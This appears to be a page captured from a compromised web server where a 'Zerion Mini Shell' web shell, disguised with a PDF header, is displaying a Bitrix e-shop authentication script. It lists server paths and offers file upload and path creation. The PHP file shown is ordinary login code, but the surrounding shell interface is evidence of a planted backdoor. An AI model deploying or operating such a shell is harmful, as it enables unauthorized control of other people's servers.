%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/eshopapp/public/ru/eshop_app/auth/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/modules/eshopapp/public/ru/eshop_app/auth/index.php

<?
define("NEED_AUTH", true);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");

if ($USER->IsAuthorized()):?>
<?
$userName = ($userName= $USER->GetFullName()) ? $userName : $USER->GetLogin();
?>
<script>
	app.onCustomEvent('onAuthSuccess', {"user_name":"<?=$userName?>", "id":"<?=$USER->GetID()?>","open_left":true});
	app.loadPage("<?=SITE_DIR."eshop_app/"?>");
</script>
<?endif?>

<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>

Zerion Mini Shell 1.0